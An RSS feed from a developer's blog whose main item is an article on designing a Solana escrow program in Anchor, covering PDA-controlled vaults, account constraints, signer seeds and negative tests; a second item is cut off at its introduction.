<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kode-n-Rolla</title>
    <description>The latest articles on DEV Community by Kode-n-Rolla (@kode-n-rolla).</description>
    <link>https://dev.to/kode-n-rolla</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3438050%2Fea98054f-9707-4eeb-aa37-cca45885d4b5.png</url>
      <title>DEV Community: Kode-n-Rolla</title>
      <link>https://dev.to/kode-n-rolla</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kode-n-rolla"/>
    <language>en</language>
    <item>
      <title>Engineering a Solana Escrow Program With Anchor</title>
      <dc:creator>Kode-n-Rolla</dc:creator>
      <pubDate>Sun, 14 Jun 2026 18:49:19 +0000</pubDate>
      <link>https://dev.to/kode-n-rolla/engineering-a-solana-escrow-program-with-anchor-537p</link>
      <guid>https://dev.to/kode-n-rolla/engineering-a-solana-escrow-program-with-anchor-537p</guid>
      <description>&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;Hello, friend 👋&lt;/p&gt;

&lt;p&gt;My name is Pavel, aka &lt;code&gt;kode-n-rolla&lt;/code&gt;.&lt;br&gt;
I am a Security Engineer, and today I want to share my engineering view of a Solana escrow program. I named it &lt;a href="https://gitlab.com/kode-n-rolla/escrovia" rel="noopener noreferrer"&gt;Escrovia&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Escrow programs are a good way to understand what makes Solana development different from more conventional backend work.&lt;/p&gt;

&lt;p&gt;At first glance, an escrow looks simple: one user locks &lt;code&gt;token A&lt;/code&gt;, another user pays &lt;code&gt;token B&lt;/code&gt;, and the program releases the locked funds. The interesting part is not the high-level business logic. The interesting part is how the program models authority, account relationships, token ownership, and invalid account combinations.&lt;/p&gt;

&lt;p&gt;On &lt;code&gt;Solana&lt;/code&gt;, this simple idea becomes a great exercise in account architecture.&lt;/p&gt;

&lt;p&gt;To build escrow correctly, we need to think about PDAs, token vaults, authority checks, account constraints, signer validation, and safe state transitions.&lt;/p&gt;

&lt;p&gt;That is why I built Escrovia - a compact Anchor-based escrow program focused on clean account design and predictable instruction flow.&lt;/p&gt;

&lt;p&gt;Let’s dive in. 🥽&lt;/p&gt;
&lt;h2&gt;
  
  
  Why Split the Program Into Instructions
&lt;/h2&gt;

&lt;p&gt;First of all let&lt;code&gt;s talk about project&lt;/code&gt;s structure. &lt;/p&gt;

&lt;p&gt;Anchor examples often keep everything inside &lt;code&gt;lib.rs&lt;/code&gt;. That is fine for a short demo, but it becomes harder to maintain once the program starts to grow.&lt;/p&gt;

&lt;p&gt;Escrovia separates each instruction into its own module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;programs/escrovia/src/
├── lib.rs
├── state.rs
├── errors.rs
└── instructions/
    ├── mod.rs
    ├── make.rs
    ├── take.rs
    └── refund.rs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This structure keeps each instruction focused on a specific flow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;make&lt;/code&gt; creates an escrow offer and locks the maker's tokens.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;take&lt;/code&gt; completes the swap and releases the vault tokens to the taker.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;refund&lt;/code&gt; lets the maker cancel the offer before it is taken.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The benefit is not only readability. Each instruction has its own account graph, constraints, CPI calls, and failure modes. Keeping them separate makes it easier to reason about one boundary at a time.&lt;/p&gt;

&lt;p&gt;The program entrypoints in &lt;code&gt;lib.rs&lt;/code&gt; stay intentionally small:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Make&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;make&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Take&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;take&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;refund&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Refund&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;refund&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This pattern turns &lt;code&gt;lib.rs&lt;/code&gt; into a routing layer. The actual instruction logic lives next to the account context that validates it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Escrow Flow 🌊
&lt;/h2&gt;

&lt;p&gt;The escrow has three main states from a user perspective:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A maker creates an offer.&lt;/li&gt;
&lt;li&gt;A taker accepts the offer.&lt;/li&gt;
&lt;li&gt;The maker refunds the offer if it has not been taken.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the &lt;code&gt;make&lt;/code&gt; flow, the maker deposits &lt;code&gt;token A&lt;/code&gt; into a vault controlled by the escrow PDA. The program stores the expected &lt;code&gt;token B&lt;/code&gt; mint and amount in the escrow state account.&lt;/p&gt;

&lt;p&gt;In the &lt;code&gt;take&lt;/code&gt; flow, the taker sends &lt;code&gt;token B&lt;/code&gt; to the maker. If that transfer succeeds, the program signs as the escrow PDA and releases token A from the vault to the taker.&lt;/p&gt;

&lt;p&gt;In the &lt;code&gt;refund&lt;/code&gt; flow, only the maker can cancel the escrow. The program returns &lt;code&gt;token A&lt;/code&gt; from the vault to the maker and closes the escrow accounts.&lt;/p&gt;

&lt;p&gt;The important detail is that the program does not rely on an off-chain agreement. The terms are stored on-chain in the escrow state.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[account]&lt;/span&gt;
&lt;span class="nd"&gt;#[derive(InitSpace)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Escrow&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;maker&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Pubkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;mint_a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Pubkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;mint_b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Pubkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;bump&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This state account is the source of truth for the swap. It records who created the escrow, which mint was deposited, which mint is expected in return, how much should be paid through the &lt;code&gt;receive&lt;/code&gt; field, and which bump is required to sign as the PDA.&lt;/p&gt;

&lt;h2&gt;
  
  
  Modeling Accounts as a Security Boundary
&lt;/h2&gt;

&lt;p&gt;On Solana, users provide accounts to instructions. That means a program must not only execute logic; it must verify that the supplied accounts form the expected relationship graph.&lt;/p&gt;

&lt;p&gt;For an escrow, that graph includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the maker signer;&lt;/li&gt;
&lt;li&gt;the escrow state PDA;&lt;/li&gt;
&lt;li&gt;the maker's token account for &lt;code&gt;token A&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;the vault token account controlled by the escrow PDA;&lt;/li&gt;
&lt;li&gt;the taker's token account for &lt;code&gt;token B&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;the maker's token account for &lt;code&gt;token B&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;the token mints;&lt;/li&gt;
&lt;li&gt;the token program and associated token program.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why Anchor account constraints matter. They are not decorative boilerplate. They define which combinations of accounts are valid and which combinations should fail before any funds move.&lt;/p&gt;

&lt;p&gt;For example, the escrow PDA can be derived from a stable set of seeds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;seeds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;b"escrow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maker&lt;/span&gt;&lt;span class="nf"&gt;.key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.as_ref&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="nf"&gt;.to_le_bytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.as_ref&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That derivation gives the program a deterministic address for each maker and seed pair. It also prevents two escrow offers from using the same maker and seed without colliding on the same state account.&lt;/p&gt;

&lt;p&gt;The vault is modeled as an associated token account where the authority is the escrow PDA:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nn"&gt;associated_token&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mint_a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="nn"&gt;associated_token&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;authority&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;escrow&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This matters because the vault should not be controlled by the maker or the taker. It should be controlled by program logic through the PDA.&lt;/p&gt;

&lt;h2&gt;
  
  
  PDA-Controlled Vaults
&lt;/h2&gt;

&lt;p&gt;The vault is where the maker's deposited token A is held while the escrow is open.&lt;/p&gt;

&lt;p&gt;The program cannot own a private key, so it cannot sign like a normal wallet. Instead, it uses a PDA as the vault authority. When the program needs to move funds out of the vault, it signs a CPI with the same seeds used to derive the PDA.&lt;/p&gt;

&lt;p&gt;Conceptually, the signer seeds look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;signer_seeds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;]]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s"&gt;b"escrow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.maker&lt;/span&gt;&lt;span class="nf"&gt;.to_account_info&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="py"&gt;.key&lt;/span&gt;&lt;span class="nf"&gt;.as_ref&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.escrow.seed&lt;/span&gt;&lt;span class="nf"&gt;.to_le_bytes&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.escrow.bump&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those seeds allow the program to authorize token transfers from the vault without ever needing a private key.&lt;/p&gt;

&lt;p&gt;This is one of the core ideas in Solana escrow design:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The vault is not trusted because it exists. It is trusted because its mint, authority, and address are constrained to match the escrow state.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the instruction accepted any vault account without validation, a malicious transaction could try to route funds through an unrelated token account. The account constraints prevent that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Instruction Responsibilities
&lt;/h2&gt;

&lt;p&gt;Each instruction has a narrow responsibility.&lt;/p&gt;

&lt;h3&gt;
  
  
  Make
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;make&lt;/code&gt; initializes a new escrow offer.&lt;/p&gt;

&lt;p&gt;It is responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;creating the escrow state PDA;&lt;/li&gt;
&lt;li&gt;creating or validating the vault token account;&lt;/li&gt;
&lt;li&gt;transferring the maker's deposited token A into the vault;&lt;/li&gt;
&lt;li&gt;storing the escrow terms on-chain.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The most important checks are that the maker owns the source token account, the deposited mint matches &lt;code&gt;mint_a&lt;/code&gt;, and the vault is controlled by the escrow PDA.&lt;/p&gt;

&lt;h3&gt;
  
  
  Take
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;take&lt;/code&gt; completes the swap.&lt;/p&gt;

&lt;p&gt;It is responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;transferring &lt;code&gt;token B&lt;/code&gt; from the taker to the maker;&lt;/li&gt;
&lt;li&gt;transferring &lt;code&gt;token A&lt;/code&gt; from the vault to the taker;&lt;/li&gt;
&lt;li&gt;closing the vault token account;&lt;/li&gt;
&lt;li&gt;closing the escrow state account.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The order matters. The taker should only receive &lt;code&gt;token A&lt;/code&gt; after the maker receives &lt;code&gt;token B&lt;/code&gt;. The program also needs to ensure that the token accounts match the mints stored in the escrow state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Refund
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;refund&lt;/code&gt; cancels an open escrow.&lt;/p&gt;

&lt;p&gt;It is responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;allowing only the maker to cancel;&lt;/li&gt;
&lt;li&gt;transferring &lt;code&gt;token A&lt;/code&gt; from the vault back to the maker;&lt;/li&gt;
&lt;li&gt;closing the vault;&lt;/li&gt;
&lt;li&gt;closing the escrow state account.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This instruction is intentionally smaller than &lt;code&gt;take&lt;/code&gt;, but it is still security-sensitive. A refund path that does not validate the maker or vault correctly can become a way to drain locked funds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing the Account Graph
&lt;/h2&gt;

&lt;p&gt;The happy path proves that the program works when all accounts are correct and every participant behaves honestly.&lt;/p&gt;

&lt;p&gt;That is necessary, but not sufficient.&lt;/p&gt;

&lt;p&gt;For Solana programs, many bugs live in invalid account combinations. A transaction can pass accounts that are structurally valid Solana accounts but semantically wrong for the instruction.&lt;/p&gt;

&lt;p&gt;Escrovia's tests cover the main flows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;creating an escrow;&lt;/li&gt;
&lt;li&gt;taking an escrow;&lt;/li&gt;
&lt;li&gt;refunding an escrow.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They also cover negative cases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;refund from a non-maker;&lt;/li&gt;
&lt;li&gt;take with insufficient token B balance;&lt;/li&gt;
&lt;li&gt;make with zero deposit amount;&lt;/li&gt;
&lt;li&gt;make with zero receive amount;&lt;/li&gt;
&lt;li&gt;take with the wrong vault;&lt;/li&gt;
&lt;li&gt;refund with the wrong vault;&lt;/li&gt;
&lt;li&gt;make with a token account not owned by the maker;&lt;/li&gt;
&lt;li&gt;duplicate escrow creation with the same maker and seed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tests are not only about reaching code coverage numbers. They check whether the account model rejects transactions that should not be valid.&lt;/p&gt;

&lt;p&gt;A useful pattern in the tests is to assert that failed transactions do not mutate important state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;escrowAccount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAccountInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;escrowPda&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;escrowAccount&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;not&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;vaultAccount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getAccount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;vaultAta&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vaultAccount&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;depositAmount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This verifies that the escrow and vault remain locked after an invalid attempt.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the Implementation Reinforced
&lt;/h2&gt;

&lt;p&gt;The main lesson from building Escrovia is that token transfer logic is only one part of the program.&lt;/p&gt;

&lt;p&gt;The more important part is the account model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which account owns the state?&lt;/li&gt;
&lt;li&gt;Which PDA controls the vault?&lt;/li&gt;
&lt;li&gt;Which token mint belongs to each token account?&lt;/li&gt;
&lt;li&gt;Which signer is authorized to perform the action?&lt;/li&gt;
&lt;li&gt;Which accounts should be closed after the escrow is resolved?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Getting these relationships right makes the instruction logic smaller and easier to audit.&lt;/p&gt;

&lt;p&gt;The second lesson is that modularity pays off early. Even in a compact program, splitting &lt;code&gt;make&lt;/code&gt;, &lt;code&gt;take&lt;/code&gt;, and &lt;code&gt;refund&lt;/code&gt; into separate instruction modules keeps the implementation easier to read, test, and refactor.&lt;/p&gt;

&lt;p&gt;The third lesson is that tests should include hostile account combinations. A program that only passes happy-path tests may still accept invalid accounts in production-like scenarios.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Escrovia is a compact escrow program, but it touches several important Solana development patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PDA-derived state;&lt;/li&gt;
&lt;li&gt;PDA-controlled token vaults;&lt;/li&gt;
&lt;li&gt;associated token account constraints;&lt;/li&gt;
&lt;li&gt;CPI signing with seeds;&lt;/li&gt;
&lt;li&gt;account closing;&lt;/li&gt;
&lt;li&gt;positive and negative integration tests.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For escrow-like programs, the core engineering task is not just moving tokens. It is defining and enforcing the account graph that makes those token movements safe.&lt;/p&gt;

&lt;p&gt;Once that graph is clear, the instruction logic becomes much easier to reason about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Outro
&lt;/h2&gt;

&lt;p&gt;Thank you for your time, dear reader. 🤜🤛&lt;/p&gt;

&lt;p&gt;I hope this article gave you something useful - whether it was a better understanding of Solana escrow architecture, PDA-based account design, token custody, or simply another perspective on how small programs can still contain real engineering decisions.&lt;/p&gt;

&lt;p&gt;If you want to follow my work, discuss Solana security, or share feedback, you can find me here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/Kode-n-Rolla" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; 🧑‍💻&lt;br&gt;
&lt;a href="https://gitlab.com/kode-n-rolla" rel="noopener noreferrer"&gt;GitLab&lt;/a&gt; 🥼&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/in/pavel-egin/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; 💼&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@kode-n-rolla" rel="noopener noreferrer"&gt;Medium&lt;/a&gt; and &lt;a href="https://hashnode.com/@kode-n-rolla" rel="noopener noreferrer"&gt;Hashnode&lt;/a&gt; ✍️&lt;/p&gt;

&lt;p&gt;&lt;a href="https://x.com/kode_n_rolla" rel="noopener noreferrer"&gt;X (aka Twitter)&lt;/a&gt; 💬&lt;/p&gt;

&lt;p&gt;Stay curious 🔬.&lt;/p&gt;

&lt;p&gt;Stay cyber safe 🛡️.&lt;/p&gt;

</description>
      <category>rust</category>
      <category>solana</category>
      <category>escrow</category>
    </item>
    <item>
      <title>Building SolaNotes: Deterministic PDA Design in a Solana Program</title>
      <dc:creator>Kode-n-Rolla</dc:creator>
      <pubDate>Sun, 07 Jun 2026 16:08:26 +0000</pubDate>
      <link>https://dev.to/kode-n-rolla/building-solanotes-deterministic-pda-design-in-a-solana-program-429n</link>
      <guid>https://dev.to/kode-n-rolla/building-solanotes-deterministic-pda-design-in-a-solana-program-429n</guid>
      <description>&lt;h2&gt;
  
  
  👋 Intro
&lt;/h2&gt;

